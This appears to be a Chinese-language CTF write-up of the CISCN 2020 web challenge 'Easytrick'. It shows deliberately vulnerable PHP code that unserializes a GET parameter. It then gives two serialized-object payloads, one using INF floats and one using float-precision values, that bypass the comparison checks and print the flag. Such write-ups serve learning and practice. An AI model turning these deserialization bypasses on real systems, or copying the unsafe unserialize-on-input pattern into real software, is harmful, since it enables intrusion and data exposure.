欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ciscn2020复现-web-Easytrick

程序员文章站 2022-03-09 16:17:13
...


源码如下:

 <?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']); 

0x01 INF绕过

INF在PHP中是无穷大的意思

例:2/0是无穷大,我们输出一个2/0,会返回float(INF),INF的数据类型是float也很重要,下面会利用到。

ciscn2020复现-web-Easytrick

原理如下:

ciscn2020复现-web-Easytrick

先把数据序列化一下:

 <?php
class trick{
    public $trick1=INF;
    public $trick2=INF;
}
$a = new trick();
$b = serialize($a);
echo $b;

ciscn2020复现-web-Easytrick

payload:/?trick=O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}

ciscn2020复现-web-Easytrick

0x02 php精度绕过

这个解法参考:php数字精度引发的比较问题

原理:php只能精度到0.10000000000000精度不衰减。但是后面加加上1以后0.100000000000001直接等于0.1。
ciscn2020复现-web-Easytrick

测试发现:

值范围 与0.1是否相等 与0.1的md5值是否相等
0.1 到 0.10000000000001
0.100000000000001 到 0.100000000000001
0.1000000000000001 到 0.00000000000000…1

注:1可以换为1-4,四舍五入。

所以我们选择中间那个范围即可满足本题条件。

ciscn2020复现-web-Easytrick
ciscn2020复现-web-Easytrick
payload:/?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

ciscn2020复现-web-Easytrick

相关标签: 比赛题目总结